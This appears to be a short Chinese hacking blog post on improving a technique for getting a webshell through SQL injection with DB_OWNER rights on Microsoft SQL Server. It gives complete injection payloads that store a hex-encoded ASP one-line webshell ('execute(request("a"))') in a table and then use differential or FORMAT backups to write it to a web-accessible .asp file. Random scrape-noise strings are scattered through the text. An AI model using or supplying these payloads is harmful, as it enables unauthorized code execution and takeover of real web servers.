DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
# E: G7 z3 a0 N$ H- n3 @一利用差异备份
加一个参数WITH DIFFERENTIAL

1
2
3
4
8 Q* e- P; L5 G4 b4 t3 _2 q7 K declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
, X" s' J# c2 _, ]8 tcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
& g# J% o% r9 V" d, Mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
. f! s# O+ Y. ]) `
二利用完全FORMAT
8 C% U& m: T7 ~9 C$ |加一个参数WITH FROMAT
) S. R5 a( x. w% D5 q' z有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
. p+ O1 `0 r% m5 I
1
, E- m# ]8 z) L* u+ b$ }/ Z2
3
4
7 S4 S4 V# a5 X+ f( `( g5 U4 @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# D  }# e& d, e7 I7 Q7 zdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
% Y% ]0 U) {2 B
总的来说就是那么简单几句,下面以备份数据库model为例子
1
/ X* W8 L% a4 \3 z
1 r' J' z1 u% g& t5 J6 d# a1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

- P6 x0 R3 \1 ~: m3 v* m. }2
1 n1 n$ |5 d1 B1 W
$ h0 y1 {1 R  Q+ h$ B6 X' c$ @3 ]1
id=1;backup database model to disk='你的路径‘ with differential,format;--